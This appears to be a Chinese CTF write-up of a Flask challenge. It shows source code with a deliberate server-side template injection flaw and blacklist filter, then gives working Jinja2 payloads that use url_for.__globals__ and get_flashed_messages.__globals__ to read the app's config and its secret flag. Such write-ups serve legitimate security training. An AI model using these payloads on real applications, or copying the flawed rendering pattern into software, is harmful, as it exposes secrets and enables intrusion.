打开是一段代码,写规范一点
- import flask
- import os
-
- app = flask.Flask(__name__)
-
- app.config['FLAG'] = os.environ.pop('FLAG')
-
- @app.route('/')
- def index():
- return open(__file__).read()
-
- @app.route('/shrine/')
- def shrine(shrine):
- def safe_jinja(s):
- s = s.replace('(', '').replace(')', '')
- blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
-
- return flask.render_template_string(safe_jinja(shrine))
-
- if __name__ == '__main__':
- app.run(debug=True)
app.config['FLAG'] = os.environ.pop('FLAG')//注册了一个名为FLAG的config
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s//这里把config,self做了黑名单过滤,替换为空
这里推测flag在名为FLAG的config中,但是这里有黑名单过滤了config
这里推测考点为SSTI注入
测试
/shrine/{{2*3}}
页面返回6
说明存在SSTI
这里可以利用两个python自带的函数来进行注入
url_for这个可以用来构造url,接受函数名作为第一个参数
get_flashed_messages()是通过flash()传入闪现信息列表的,能够把字符串对象表示的信息加入到一个消息列表,然后通过调用get_flashed_messages()来取出。

/shrine/{{url_for.__globals__}}

/shrine/{{url_for.__globals__['current_app'].config}}
这里的current_app意思是当前app,我们访问当前app的config

得到flag
或者使用get_flashed_messages
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}